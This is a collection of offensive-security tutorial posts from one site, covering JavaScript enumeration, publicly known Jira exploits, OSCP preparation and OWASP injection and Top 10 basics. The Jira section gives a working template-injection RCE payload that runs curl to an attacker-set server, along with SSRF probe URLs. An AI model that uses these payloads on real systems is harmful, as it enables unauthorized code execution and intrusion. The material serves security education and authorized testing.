JavaScript Enumeration for bug bounty hunters

JavaScript Enumeration is a critical skill to have if you want to level up your penetration testing or bug bounty hunting game. Yet, not everyone does it, partly because it is a boring exercise or it consumes most of your time, not to mention how intimidated you might feel reading someone else’s code. Today, we will explore this topic and understand why it matters, and how you can perform it.

Hopefully, this episode will help you overcome these hurdles and give you the tools you need to make JavaScript Enumeration less painful. We will first understand how it can lead to serious security bugs. Then, we will discover different ways to properly do it. So, stay with me until the end because you will definitely learn some hacking tricks along the way!

Why JavaScript enumeration matters?

If you don’t perform JavaScript enumeration during your hacking engagements, you are overlooking a vital portion of your target web application. In fact, JavaScript powers the client-side; meaning that all the logic that happens before hitting the back-end server is there. Think about it, you have half of the code that you can look through, and code never lies! If there is an error, the code will tell you, you just have to look through it.

Let’s first discover what you could find with JavaScript Enumeration.

JavaScript enumeration can give you easy wins

Because of bad coding practices, the developers can unintentionally introduce low hanging security bugs in the JavaScript code, ready to be exploited by entry-level hackers. Sloppy coding can include hard-coded credentials, hidden web page URLs with no authentication, or even back-end API endpoints with broken access control flaws.

For example, by simply enumerating the code for API endpoints, you can find some unprotected ones. If you want to learn a real-world example of how I found a serious account takeover flaw, make sure to read this article.

JavaScript enumeration helps you understand how the application works

While you are looking through the code for hard-coded credentials and API endpoints, you will naturally get a feel of the structure, the coding style and what the web application does. If you don’t get that, don’t worry, it comes with practice; the more you do it, the easier it becomes. We will explore shortly how you can start doing it.

JavaScript enumeration can give you deep and serious bugs

Besides the low hanging fruits which you can find using JavaScript enumeration, you can uncover hidden issues which fewer people are looking for. These are typically DOM XSS vulnerabilities that you can exploit through postMessage events or the usage of dangerous JavaScript sinks and sources. For example, a developer might use the path part of the URL to populate the DOM using the sink innerHTML. In this case, you can inject malicious JavaScript code that will be reflected in the DOM without proper encoding, leading to a DOM XSS.

If you want to learn and practice DOM XSS, you can visit Portswigger’s article.

JavaScript enumeration simplified with tools

JavaScript enumeration can be intimidating, hard or time-consuming. If that’s the case for you, maybe you are doing it the wrong way! If you jump onto random JavaScript files and look for low hanging fruits only, you might get lucky once, but you won’t find great and consistent bugs. At least you won’t cover the entire attack surface. Instead, I suggest you first extract all JavaScript files, then browse through them, and then you can focus on specific parts which seem interesting.

You can use various tools that will assist you during this exercise. These are the ones I found helpful, but if you prefer other tools, feel free to suggest others in the comments.

Step 1 in JavaScript enumeration: Extract JavaScript files

Sometimes all you have is the login page, that’s fine. Once you finish browsing all the accessible features, your web proxy should have recorded all the JavaScript files. I like to use BurpSuite Professional to extract them all at once, but you can use other alternatives, such as manually downloading all the JavaScript files from BurpSuite Community Edition (The free version of BurpSuite).

To do that, you right-click on your target root entry in the Sitemap, then choose the Find scripts option under the Engagement tools in the contextual menu.

JavaScript Enumeration using BurpSuite Find scripts feature
JavaScript Enumeration using BurpSuite Find scripts feature

From there, you click on Export scripts and choose a file to store them. I like to store them because I will be using the next tools to look for specific things, like endpoints, secrets, etc.

Saving all the scripts into one single file
Saving all the scripts into one single file

Extract JavaScript using free tools

If you have been following this blog, you know that the bug bounty community has published many awesome tools which you can combine to get the content of JavaScript files. I like to use waybackurls and the built-in bash commands xargs, curl and tee. You can find many more on this article. Here is a one-liner that will do the job:

waybackurls target.com | grep "\\.js" | xargs -n1 -I@ curl -k @ | tee -a content.txt

The above one-liner will collect all publicly available JavaScript files using waybackurls. Then, it filters only JavaScript files. From there, it grabs the content of each file using curl. Finally, it stores the result in one file.

Step 2: Beautify the JavaScript code

From my experience, most of the JavaScript files get obfuscated and packed into one single line. Therefore, it’s hard to deal with them as they are. Luckily, there are tools which help at least structure them into readable JavaScript code. The one I use is Jsbeautifier, a command-line tool that accepts a file as input and beautifies its content, unpacks it or deobfuscates it into a resulting file.

First, you install it using pip: pip install jsbeautifier. Then, you run it with js-beautify -o outfile.txt scripts.txt. This will output the file outfile.txt which you can easily browse through.

It’s time for the next step: finding the juicy data we are all looking for!

Step 3: JavaScript enumeration with Grep and the family

Now that we have a readable version of all the JavaScript code in one place, I like to start with Grep to get a feel of what I am expecting. The general command is grep --color -i term outfile.txt. You just change the word term with what you’re looking for. For example, try words like secret, admin, password or token to find hardcoded secrets. Alternatively, you can use a path prefix to look for endpoints. Say you noticed that all API endpoints start with /api/v1. In this case, you can substitute the word term in the grep command with /api/v1 to collect all the API endpoints.

Once you grab some endpoints, and hopefully some secrets, you can focus on areas of interest within the JavaScript files.

Javascript enumeration using Chrome Dev Tools

If you don’t have BurpSuite Pro or you don’t want to parse the entire JavaScript files, you can use your built-in Web Browser Developer tools. I like to use the Chrome Browser.

Look for keywords across the entire website

In Chrome, you can open the Developer Tools using the shortcut Command + option + I on Mac, and Ctrl + Shift + I on Windows. From there, choose the Sources Tab. Once inside, you will see the different files in a tree on the left. Hit Command + option + F on Mac, or Ctrl + Shift + F on Windows and a search menu will appear in the bottom. Type the keywords you found from the previous steps to locate where exactly they appear in the client-side source code.

JavaScript Enumeration using Chrome Developer Tools
JavaScript Enumeration using Chrome Developer Tools

From there, click on the one on the right of the results, which will load the JavaScript file in the main screen.

JavaScript enumeration within a file in Chrome Dev Tools

Once you choose a JavaScript file, it may appear obfuscated or minified. Don’t worry, Chrome can make it readable. You just have to click on the Prety-print button. Alternatively, there is a button named {} on the bottom of the screen, which you can click as well.

The Pretty-print feature in Chrome Developer Tools
The Pretty-print feature in Chrome Developer Tools

From there, hit Command + F on Mac or Ctrl + F on Windows and look for your keyword, such as api_key.

You can search for keywords inside the beautified JavaScript code
You can search for keywords inside the beautified JavaScript code

JavaScript Enumeration using breakpoints

Once you focus on a particular snippet within a JavaScript file which brings your attention, you might find it hard to understand what the code does. This can be due to random variable or function names, or simply because you can’t understand what the code does. In this case, you can set a break-point on one or multiple lines, then refresh the page.

Using breakpoints to pause the execution at areas of your interest
Using breakpoints to pause the execution at areas of your interest

Once the client-side code hits your break-point, you can debug it like you would do in any Code Editor using the controls you have on the menu in the right.

You can use the control buttons to debug the JavaScript code
You can use the control buttons to debug the JavaScript code

JavaScript enumeration examples

After mapping the application, collecting all JavaScript files, looking for interesting areas and debugging the JavaScript code, it really depends on your experience and creativity to find interesting bugs. However, without the prior steps, you wouldn’t be able to focus on the areas that matter. The following are examples which illustrate what hackers have found using JavaScript enumeration.

PostMessage DOM XSS vulnerabilities

In this great article, Mathias explains how he performed JavaScript Enumeration using the very steps you discovered earlier to find and exploit a DOM XSS vulnerability due to a misconfiguration in the PostMessage event handling.

Exploit a token leak to disclose your Paypal password

This blog post explains how Alex, a Security Researcher and bug bounty hunter, could exfiltrate your Paypal password through a token leak. He started with JavaScript enumeration and found an interesting endpoint that he was able to understand and exploit.

Conclusion

Hopefully, you now understand why you should perform JavaScript enumeration. But most importantly, you have a methodical approach and the tools to help during the process.

Jira vulnerabilities and how they are exploited in the wild

I’ve been asked a lot about Jira vulnerabilities. In this article, I compiled the publicly available Jira exploits I could find to help you when you are doing bug bounty hunting or penetration testing.

However, I should mention that you need to have some basic understanding of how web applications work and how to exploit them. If you want to learn that, head over to this ultimate guide.

Jira Server-Side Template Injection (CVE-2019–11581)

This Jira vulnerability created havoc back in 2019 and all bug bounty hunters were looking for it. It exploits the way input was handled in the administrator contact form. It allows remote and unauthenticated users to run Remote Code Execution on the vulnerable Jira instance. To achieve it, follow the steps:

  1. Go to /secure/ContactAdministrators!default.jspa. If you get a form, continue to the next step.
  2. Input $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl http://your_server_here/rcetest?a=a').waitFor() in the subject and request details.
  3. Send the form. If it’s vulnerable this Jira attack will trigger an HTTP request to the server you set within the curl command in the payload above.
  4. If you are doing a penetration test, urgently reach out to your point of contact. And if you are doing bug bounty hunting, stop there and submit a detailed report about the issue.

Security misconfiguration in the Jira Service Desk

This Jira attack exploits a misconfiguration in the Jira Service Desk being exposed to the public. It allows an attacker to gather emails of employees and create Jira tickets. What’s better than to read it from the hacker who discovered it. Inti wrote an exhaustive article about that, so make sure to check it out.

Here are the steps to follow if you want to

  1. Go to /servicedesk/customer/user/login
  2. See if you can register an account and create a ticket as a proof-of-concept.

Publicly available filters and dashboards

This Jira attack exploits, yet again, another Security misconfiguration. And it allows attackers to leak internal data from the vulnerable Jira instance because of how filters can be publicly exposed by default. Within the accessible pages, there is the user picker which discloses a list of internal users. You can read about the details in this article.

The following URLs are the ones you should try, see if you can access a list of users/resources inside the exposed filters:

/secure/popups/UserPickerBrowser.jspa
/secure/ManageFilters.jspa?filterView=popular
/secure/ConfigurePortalPages!default.jspa?view=popular
/rest/project-templates/1.0/createshared

Jira Server-Side Request Forgery (CVE-2017–9506)

This classic Jira attack exploits an SSRF vulnerability, which allows you to do what SSRF does: Read AWS instance metadata, pivot inside the internal infrastructure or trigger XSS. You can read more about SSRF here.

Here are the steps to test for this Jira vulnerability.

  1. Go to /plugins/servlet/oauth/users/icon-uri?consumerUri=https://www.google.com
  2. You should load the Google page within the vulnerable Jira instance.
  3. Stop there and report the bug, asking permission to escalate it.

Another Jira SSRF vulnerability (CVE-2019-8451)

This Jira attack exploits the same vulnerability type as the one before, but in another endpoint which was implementing some poor validation. The bypass is simply appending @target.domain to the vulnerable parameter, target.domain is the page you want to load, such as AWS instance metadata. You can find the details in this article published by Tenable.

Here are the steps to follow if you want to test for it:

  1. Go to /plugins/servlet/gadgets/makeRequest?url=http://vulnerablehost@<http://targethost.com>
  2. You will get the results from targethost.com

Conclusion

Jira is one of the famous issue tracking products and it has its share of vulnerabilities. If you are an ethical hacker, use this list as a testbed during your engagements. If you are a system administrator and have a Jira instance, make sure you have the latest version and that you properly configure it. That way, you will reduce the attack surface.

OSCP Certification: All you need to know

Hello ethical hackers! In this episode, you will learn everything related to OSCP certification. What is OSCP? Why is it a strong certification? What sets it apart? What are the requirements? How to properly prepare for the exam? What to do the day of the exam? And what’s next once you earn your OSCP certification?

OSCP Certification introduction

OSCP stands for Offensive Security Certified Professional, it is Offensive Security‘s most famous certification. Everyone in the industry respects it, and for good reason. In fact, it proves that its holder can perform a penetration testing assignment using a methodical approach and can write a professional pentest report to deliver to the client. Moreover, it demonstrates that its holder can work under pressure and think outside the box when conducting penetration testing. By the way, the motto of OSCP is Try Harder!

OSCP Syllabus, course material, the lab and more

This certification has a syllabus that covers key aspects of penetration testing, it comes with the PWK course, a lab for training and a video package to support the course.

OSCP Syllabus

OSCP covers many penetration testing areas, from information gathering to exploitation. You get to apply your knowledge on various Linux distributions and Windows versions. These machines run a plethora of services. But perhaps the most important aspects I really enjoyed learning was SSH tunnels, privilege escalation and buffer overflows.

With the new 2020 update, this certification offers even more value, especially with the introduction of Active Directory hacking and Empire, which are essential in most real-world infrastructure penetration testing.

PWK course and videos

You won’t pay for the certification voucher only, the price covers the PWK course, which is a PDF file that goes from the basics to the advanced hacking techniques throughout the different chapters. You will learn some Linux commands to work in the terminal, most of the basic web application vulnerabilities, basics of buffer overflow, Active Directory hacking, SSH tunnelling, etc. Each chapter or section comes with a set of exercises that help you apply your knowledge. Besides, if you join the solutions to your final report, you will get 5 extra points.

To support the course PDF, you will get a set of videos that go through the whole concepts in the PDF and demonstrate the concept in practice.

The OSCP lab, price and why I chose it

When I wanted to get certified, I had many certification options. However, I chose OSCP because it provides many key points I was looking for:

  1. It has a hacking lab to practice the course material: I love learning through practice and the lab in the OSCP course is amazing. You will have to breach the perimeter, then work your way through until you own the entire infrastructure.
  2. The exam involves performing actual penetration testing on a new lab and write the report: I wanted to get a great value for the price I am paying and the OSCP exam is also practical, which means that I will apply what I have learned in yet another lab.
  3. With the previous points, the price is reasonable compared to other certifications.
  4. It is respected in the security community: This is reflected in both job offers and the salary. Almost all security offers from junior to senior level include OSCP among the other security certifications. This means that you don’t get a piece of certifying paper, but you actually increase your value in the job market.

Alright, now that you have a general view of what the OSCP is, let’s see what do you need to get it.

OSCP requirements before you apply for it

Although you don’t need prior hacking knowledge to go through this certification, I highly recommend you get comfortable at lease with the basics. OSCP is not for the faint of heart. If you under-estimate it, I doubt you will stand for long.

These are the things I recommend you learn:

Get yourself comfortable working with the terminal

You will spend most of your time on the lab working on remote machines which are only accessible through SSH. Even the Windows machines won’t be exploitable unless you use the command prompt to run your exploitation scripts. Therefore, it is essential to learn at least the basic Linux terminal commands that will help you navigate through the filesystem, install software, copy files around and connect to remote servers.

Learn the basics of web

There is a considerable amount of web applications in the lab, so I advise you to learn how they work. Take your time to understand how the HTTP Protocol works, what is the difference between the client and the server, etc. This will ease your way through the course as you will already have a general view of what they are talking about.

Learn and practice basic hacking techniques

Although the OSCP course teaches you the hacking techniques and concepts from the beginning, I recommend you learn them beforehand. That way, you can quickly go through them and focus on more advanced concepts like exploit development, SSH tunnelling and looting all the machines in the lab. There are many hacking websites which will help you achieve that. They offer great challenges that you can play with, solve and learn along the way. Feel free to read the dedicated article about it.

Practice your skills on boot2root machines

Once you feel comfortable with the hacking challenges, I encourage you to take more time to root some machines. This will allow you to adapt to the kind of hacking activity that you would find during the OSCP lab and the exam. The article I mentioned earlier contains a list of the websites where you can achieve that.

Code something with Python

Many exploits are available in python, and sometimes you will have to modify them to work for your situation. Therefore, knowing Python will help you take full advantage of the labs and speed up your hacking process. Besides, since Metasploit is forbidden in the exam apart from one shot, you have to convert one or two modules to your own Python scripts as a means of practice during your exam preparation.

Understand basic C code

The OSCP course contains a full chapter on Buffer Overflows. Although the concepts are basic, you will still have a hard time understanding and building your exploits if you don’t know anything about the C language. Besides, some machines require you to customize some C code in order to successfully exploit the vulnerability.

The process of applying for OSCP

Do you already have what it takes? Good! You can apply for it online and receive your package. You have three options, either 1, 2 or 3 months of lab access. I recommend you take the 3-month package so that you give yourself enough room for practice.

Expect to present a proof of identity and to use a corporate email. If you don’t have the latter, you can contact the support and tell them that you have no corporate email.

Once the payment is processed, you will get your package containing the course PDF, videos and the VPN access for the lab.

OSCP preparation for the exam

Preparation for the exam starts right when you receive your course material. See, there are some key points I want you to know from the beginning.

Do the course exercises and document them as you go

You will feel lazy solving the exercises and documenting them as you go through the course, but it’s a crucial thing to do. See, documenting your progress and taking notes is a soft skill that you should have if you want to develop quickly. It has two benefits, the first one is that you will secure your extra 5 points in case you need them to pass the exam. Secondly, you will develop the habit of taking notes, which will help you during the exam. Which brings us to the second advice.

Take organized notes

You don’t want to redo all the exploit research, rebuild all your exploits or start Googling how to transfer files between machines during the exam. Everything should be noted beforehand. Your exploits should already be built and organized. Your payloads should be well structured. This will save you tremendous time during the exam.

Take your time to root all the machines in the lab

I recommended you to apply for 3 months of lab access so that you give yourself enough time to grasp, practice and hone your hacking skills on the lab. A friend of mine had a full-time job, a family and purchased one month. Although he was really smart and had already the skills, he simply couldn’t keep up with so many duties on his plates.

OSCP exam

Once you root all the lab machines, I think you will be ready for the exam. It’s not a requirement, but I highly recommend you do it first.

As you might have already known, the OSCP exam is 24 hours long and you have to score at least 65 points to pass. I say 65 because you can send the exercises solution along with the exam report and get 5 extra points, which would complete your minimum 70 points to pass the OSCP exam. You won’t have to pivot between the machines though, each one is separate.

Here is a list of tips that will help you the day of the exam:

Revise your notes

You should have all your notes at your hand. That’s when your prior preparation and documentation will pay off. The notes should contain your code snippets for various tasks such as connecting to different services, transferring files using different methods, bind and reverse shells, your exploits already built and grouped by target OS, etc.

Don’t upgrade your Kali machine

Just work with the version you had throughout the course. Upgrading your machine can introduce surprises that will force you to waste your time troubleshooting instead of solving the exam challenges.

Take regular breaks

You can’t stay productive the entire exam without food and good hydration. So, reserve some time for breaks, it will make you feel better, refreshed. Sometimes, all you need is another perspective, which you can’t get when you are stuck in front of the computer. You just have to notify the proctor, as explained in the official FAQ section.

Start with the Buffer Overflow challenge

One of the machines contains a buffer overflow vulnerability that you will be able to solve without problems if you had solved the one in the course. I recommend you start with it first. This will boost your confidence to tackle the remaining ones.

Beyond OSCP

Hopefully, you are now certified OSCP, congratulations! You have proved that you “tried harder” and you now have the skills required to conduct penetration testing in the real world. However, this is not the end of your journey and you are certainly not an expert. OSCP is a great beginning for a bright future in penetration testing, so don’t waste it! Think about niche areas you want to focus on. For example, you may want to learn more about exploit development, web hacking or Active Directory attacks. Learn the subject and pursue some certification in the field.

OSCP Certification: Congratulations!
OSCP Certification: Congratulations!

Other questions you may ask

OSCP vs CEH: Which is the best?

For me, the short answer is OSCP. The long answer is…it depends! See, CEH is great if you are barely starting in the infosec industry and you still want to quickly get a job even if you don’t have enough practice. In fact, it is recognized by most companies and most of the candidates would have it. So it makes sense to apply for it when you are just starting.

However, I don’t think we should compare it to OSCP. In fact, the exam is a 4 hour Multiple Choice Questions. If you want to become a CEH Master, then you have to pass the 6-hour exam which contains 20 mini-challenges. So, both challenges combined are less than 50% of the 24-hour exam challenge on the OSCP. Besides, OSCP wins at the price as well. In fact, with three months of lab access, the total price is 1349USD, compared to 1898USD for the CEH (The Multiple Choice Questions and the Practical exams, plus registration fees). In my opinion, if budget is a concern for you, you may want to apply for CompTIA PenTest+ instead.

Is a certified OSCP salary higher than CEH?

According to payscale.com, the average OSCP salary is 91,538USD, compared to 82,164USD for CEH at the time of writing this article.

Conclusion

Certifications are a good way to prove that you possess a set of skills, and OSCP is a great one for penetration testers. However, getting certified shouldn’t be the goal. In my opinion, the focus should be on acquiring and applying your hacking skills. That’s what counts!

I hope you found this content helpful and wish you good luck in your OSCP journey. I encourage you to subscribe to the newsletter and receive an article every Friday to end your week on a hacking content. If you are new to hacking and want to learn the basics, read the OWASP Top 10 theory and hands-on article on thehackerish.com and apply your knowledge on the lab which supports them. If you enjoy learning with videos, I invite you to watch the OWASP Top 10 Youtube playlist.

OWASP Top 10 vulnerabilities: Injection explained

Hello and welcome to this OWASP Top 10 vulnerabilities course. Today’s blog post is about Injection. 

By the end of this post, you will have understood the following points:

  • What is OWASP Top 10 Injection? 
  • Why Injection is on the top of the OWASP Top 10 vulnerabilities?
  • What is the difference between error and blind-based injection? 
  • OWASP Top 10 Injection flaws.
  • How to exploit Injection?
  • Some real-world Injection attacks
  • OWASP Top 10 Injection prevention 

What is Injection and why it ranks top of OWASP Top 10 vulnerabilities?

Injection sits comfortably on the top of the OWASP TOP 10 vulnerabilities for the last decade. This is for a good reason. In fact, injection is a broad class of vulnerabilities that you can find on pretty much any target. Let’s take the definition of the OWASP Top 10 for injection and analyze it:

Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or a query. The attacker’s hostile data can trick the interpreter into performing unintended actions.

I highlighted the key ideas in italic. The first thing to notice is that injection is not specific to a technology. In fact, any feature which expects and processes input is potentially vulnerable to injection. 

The second thing to point out is how large the attack surface is. Tell me how many features you encountered which fall under this very scenario! I’d say most of them. In fact, even a simple search feature on a website takes your input, uses it as part of a command, queries a data store and returns the results to you.

Continuing on the example above, a malicious user can inject a malicious input, called the payload, to perform unintended results by the vulnerable system. If successful, the malicious user can trick the application into returning sensitive information, modify data or delete it altogether.

Error based injection vs blind Injection vulnerabilities

When hunting for Injection vulnerabilities, you will typically encounter two use cases. On the one hand, the application can return error messages which your payload triggered. In this case, you can follow the application errors for what to do next. For example, you can inject a malformed SQL query as simple as a quote and you get the following error:

"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id=''' at line 1". 

This tells you a lot! First, you have successfully found a SQL injection. Second, the database engine is MySQL. Third, the application tells you the exact vulnerable part of the SQL query. Lastly, you’ve got a solid bug to report if you are a bug bounty hunter.

On the other hand, you don’t have direct and naive feedback from the application, but rather a hint, or nothing at all! In this case, we call it a blind injection. It requires more effort, but it’s still possible to exploit it as you can see in the OWASP Top 10 training injection blog post.

Now that you have a general understanding, let’s dive into some instances of OWASP Top 10 Injection flaws.

OWASP Top 10 Injection flaws

There are many subsets of the OWASP Top 10 Injection vulnerability class. Below you find most of them. The list is growing, so make sure to subscribe to the newsletter below so that you get a notification each Friday about new content.

SQL injection

SQL injection is a flaw in the way user data is being handled inside a SQL query. Basically, a developer concatenates the expected input directly into the SQL query. SQL injection is one of the most impactful vulnerabilities that exist, it can affect the confidentiality, integrity and availability. To learn more about SQL injection, feel free to read this in-depth SQL injection tutorial.

OS Command injection

OS command injection is a flaw in the way user data is being handled inside an operating system command. Basically, a developer insecurely puts the expected input directly into the OS command. OS injection is one of the deadliest vulnerabilities that exist in the realm of security vulnerabilities. It allows an attacker to have a remote shell on your vulnerable server. As of its impact, it can affect the confidentiality, integrity and availability. If you want to see a real example, read my write-up about how I found and exploited one.

LDAP injection

This injection is a flaw in the way user input is being handled inside an LDAP query. LDAP stands for Lightweight Directory Access Protocol. It is an client-server open industry standard which can be used to access and maintain directory information services. For example, it can be used to authenticate a user, search items, modify entries, etc. Therefore, this type of injection impacts the confidentiality, integrity and availability. You will learn more about LDAP injection in the upcoming blog posts.

OWASP Top 10 Injection attacks

The following are real-world breaches which exploited one of the injections discussed above.

SQL injection in Magento, patch published on March 2019

On its release, Magento urges its users to upgrade to the latest version of Magento. One of the severe vulnerabilities patched was a SQL injection.

CVE-2018-1111 – DHCP Client Script Code Execution Vulnerability

On its advisory on May 2018, RedHat announced that Red Hat Enterprise Linux 6 and 7 are vulnerable to a command injection flaw found in a script included in the DHCP client.

SQL injection against TalkTalk

The breach that affected TalkTalk exploited a SQL injection. Over 4 Million customers were at risk. More than 150K customers’ data was compromised and the company was fined 400K pounds.

OWASP Top ten Injection prevention

Since Injection flaws reside in the way user inputs are handled, a developer should never trust any input. If you do, you’re exposing your asset to security risks which can be damaging. For each of the OWASP Top 10 Injection vulnerabilities discussed earlier, there is a section on how to prevent them. But in general, this OWASP Cheat Sheet covers the guidelines you need to follow when writing your code. The main ideas are as follows.

  • Perform proper input validation: You should sanitize and normalize your input.
  • Use a safe API: For example, using an ORM is far better and secure than building SQL queries yourself.
  • Properly escape your input: If you don’t have an API available, make sure to escape special characters according to the interpreter that will handle your command or query.

That’s it for today, in the next episodes of this OWASP Top 10 vulnerabilities tutorial, we will discuss OWASP Top 10 broken authentication. Stay tuned!

OWASP Top 10: The Ultimate Guide

If you are here, chances are that you want to learn web application security or the OWASP Top 10, but you don’t know where to start. Well, let me tell you that you came to the right place.

I’m a penetration tester who enjoys breaking into my clients’ infrastructure and web applications. Besides, I train developers on how to write secure code. Part of the training involves showing them what hackers can do and how to prevent them from exploiting security vulnerabilities.

I am bringing this knowledge to you so that you can benefit from it as well. In this exhaustive guide, you will not just learn the OWASP Top 10, but you will also practice them on hands-on examples from the best vulnerable web applications. On top of that, I’ve prepared online video tutorials which will help you follow the hacking process step by step. Once you’ve covered the OWASP Top 10, I will show you where to go next in your hacking journey.
Let’s start learning right now!

What is OWASP Top 10?

The OWASP Top 10 is a standard document which consists of the top ten of the most impactful web application security risks in the world. The Open Web Application Security Project foundation (OWASP) publishes a version every three years. 

OWASP collects data from companies which specialize in application security. It also collects data from individuals using industry surveys. All of the results get ranked based on impact and prevalence. At last, the top ten risks are then filtered.

OWASP Top ten doesn’t cover all the vulnerabilities, but it’s a solid start for security testers, developers and organizations who want to exploit vulnerabilities and implement measures to protect against the security risks.

Why is the OWASP Top 10 important when learning web application security?

You might ask why I chose OWASP Top 10 as a backbone for this guide. Great question! Well, there are two reasons for that.

Firstly, OWASP is a respected community of tens of thousands of members ranging from information security experts to security-focused developers. It has existed for almost two decades and has produced methodologies, documents and tools which help building secure code. For example, OWASP Zed Attack Proxy (ZAP) is a tool which we will use during this training to test for security vulnerabilities. OWASP also organizes events with high-quality subjects and speakers. For you, this means that you are in good hands, and you will be learning from mature and professional resources.

Secondly, the OWASP Top 10 covers all the basics you will need to kickstart your career in application security. In fact, each one of the top 10 security risks includes one or many security vulnerabilities. For example, the Injection security risk covers all sorts of security vulnerabilities which can lead to injections.

To summarize, let me say that the OWASP Top 10 is solid and efficient if you want to quickly and efficiently learn web application security. Convinced? Let’s see what is the best way to learn that thing!

What is the best way to learn OWASP Top 10?

You might be wondering: I want to start right away, but what is the best way to learn OWASP Top 10? The answer is simply one word: Practice!

Hacking is practical by nature. Surely, you need the theory behind how each security vulnerability works, which I cover in this guide. However, you can’t say that you’ve learned them until you can exploit them, practically! That’s why for most vulnerabilities we will discuss shortly, I’ve prepared a training tutorial which will help you get your hands dirty with different challenges.

OWASP Top 10 training syllabus

The OWASP Top ten training I’ve included in this guide contains two web applications which cover the OWASP Top 10 security risks. You can download the lab right here. Alternatively, I walk you through how to set it up if you want to build it yourself.

Kickstart your web hacking journey with this OWASP Top 10 lab.
Kickstart your web hacking journey with this OWASP Top 10 lab.

The web applications are OWASP Juice Shop and OWASP WebGoat. They are both mature and well-maintained projects. They are also written in different languages, which will expose you to hacking different technologies.

During this OWASP Top ten training, we will set up and configure the best web proxies that the hackers use to test for security vulnerabilities: OWASP ZAP and Burp Suite.

I’ve also recorded a Youtube playlist as a complement to the blog posts for you to see how I solve the hands-on challenges. So, you literally have all you need to build a solid knowledge of web application hacking.

Now that you know what you will expect from this OWASP Top 10 guide, let’s get into the meat and potatoes! Let’s learn those risks and practice on hands-on challenges! 

OWASP Top 10 vulnerabilities explained

This section provides you with the OWASP Top 10 summary of all the security risks. For each one of them, there are links to dedicated posts which detail the theory and help you practice on hands-on challenges.

I recommend you bookmark this page and learn each vulnerability at a time. Once you finish it to the end, you will have a solid understanding and will be ready to test the OWASP Top 10 vulnerabilities on your own. You can even look for what you’ve learned on bug bounty platforms and get paid!

Injection

An injection is a security risk that you can find on pretty much any target. Basically, it happens when a server-side interpreter processes untrusted user input as part of a command or a query. There are many vulnerabilities which cause injection. Here are some examples:

  • SQL injection: You can find a SQL injection when the developer runs a SQL query that takes a parameter you control as an input. If you successfully exploit it, you steal data from the database, edit it or delete it altogether. 
  • OS command injection: It happens when user input is used as part of an insecure call to operating system commands. If you find one, you can run arbitrary operating system commands on the vulnerable server.
  • XPATH injection: It targets the query language typically used in XML. When you can control part of the query. Therefore, you can bypass restrictions, read unauthorized XML nodes, etc. 
  • Server-Side Template Injection: This flaw affects applications which use template engines to render server-side data. If you can control variables passed into the template, you can achieve remote code execution. 
  • LDAP Injection: When your target insecurely uses some user input to query an LDAP directory, you can perform an injection to bypass restrictions, read unauthorized data, etc.

Broken authentication and session management

Authentication is a feature which verifies an identity’s claims. For example, when you login into an application, it uses your username and password to verify that you are indeed who you are claiming to be. Upon authentication, and due to the stateless nature of HTTP, the application provides you with a session representing your identity, which your web browser sends on your subsequent requests.

Of course, you need to be able to sign up, log in, reset your password or enable Multi-Factor authentication. That’s why authentication is hard to implement without making any mistakes. Any flaw in one of those features can lead to broken authentication. We cover this in detail in a dedicated blog post.

Sensitive data exposure

If your IT assets disclose data which is not meant to be publicly accessible, they suffer from sensitive data exposure. On the one hand, this data can be at rest, like your databases or files. On the other hand, it can be in transit, especially if you are using unencrypted or weak encryption for your data transmission.

Apart from exposing your customers’ data which is a scandal, you will also get fines for exposing them. Think of the GDPR regulation where fines can go up to 20 Million Euros.

XML-External Entity (XXE)

XXE is a flaw in the way XML parsers get configured. Specifically, this vulnerability happens when the XML parser can evaluate DTDs and external entities. It allows an attacker to achieve many exploits, like listing directories and reading files from the server. It can even provoke a Denial of Service.

Broken access control

Broken access control happens when the application allows a user to perform unauthorized actions. There are many vulnerabilities which contribute to this risk, For instance, if the developer forgets to validate permissions when dealing with identifiers, the application becomes vulnerable to Insecure Direct Object Reference (IDOR).

Other vulnerabilities include Cross-site Request Forgery (CSRF), Cross-Origin Resource Sharing (CORS) misconfigurations and forced browsing. Read more about them in the dedicated blog post.

Security misconfiguration

Security misconfigurations, as the name suggests, expose vulnerabilities due to weak configurations of an IT asset. It doesn’t affect web assets only. Any component which requires a configuration is subject to this vulnerability. This means that network devices, hardware, email services, etc. can suffer from this vulnerability. For instance, your smart door lock can have a predefined default administration PIN code. If you don’t change it, anyone can access and change your device configuration.

In the context of web applications, you can find things like directory listing enabled, which would allow you to list all files and directories. Or maybe the developer forgot to disable the debug mode, allowing you to get more insights on the inner-workings of the vulnerable application.

Cross-site Scripting (XSS)

This is one of the famous client-side vulnerabilities. It allows an attacker to run arbitrary Javascript code on the victim’s web browser. XSS becomes possible when user input ends up inside an HTML page or a piece of Javascript code without proper encoding.

There are basically three types of XSS, all of them along with hands-on tutorials are explained further:

  • Stored XSS happens when the user input gets stored in the application’s datastore, then retrieved back and rendered in a page without proper encoding. 
  • Reflected XSS happens when user input gets directly returned into the HTML page without proper encoding.
  • DOM XSS happens when user input gets inside a Javascript code. Here, it is possible to exploit XSS even if there is no request made to the server.

Insecure deserialization

Insecure deserialization happens when the developer doesn’t check serialized data that a user sends to the application. This is another vulnerability where a lack of user input validation can lead to serious security problems. It is hard to exploit, but when it works, it can lead to either remote code execution or denial of service.

Using components with known vulnerabilities

You might have totally secured your own code, but what about the dependencies you are using? Have you checked them or just imported them into your code? There is a high chance that one or more of them are vulnerable. 

Unfortunately, using components with known vulnerabilities had led to many serious breaches in the past, and will still cause many breaches to come. But you already have the tools to check for them. For more in-depth knowledge of that, head to this dedicated article.

Insufficient logging and monitoring

When a hacker infiltrates a network, IT systems will generate traffic which usually doesn’t correspond to the normal one, unless you are dealing with highly skilled hackers who have time and money to go after your IT infrastructure. If you can’t detect this abnormal behaviour as soon as possible, you are essentially giving them enough time to achieve their goal. Read more about this in this blog post.

Logging and monitoring should be part of your essential security infrastructure because you simply cannot defend what you don’t know.

Beyond the OWASP Top 10

If you have reached this far, let me congratulate you for taking real steps towards your goal! I really mean it because not everyone is willing to put the effort as you did! I hope you’ve enjoyed the journey as much as I did preparing this OWASP Top 10 training.

If you want to take your skills steps further, here are some leads you can follow.

Read infosec books

Reading information security books is rewarding because you will be learning from experts in the field. I recommend the Web Application Hacker Handbook edition 2. It’s a huge book, but it gives you so many details on different security vulnerabilities and explains how to detect and exploit each one of them.

Learn other OWASP top ten projects

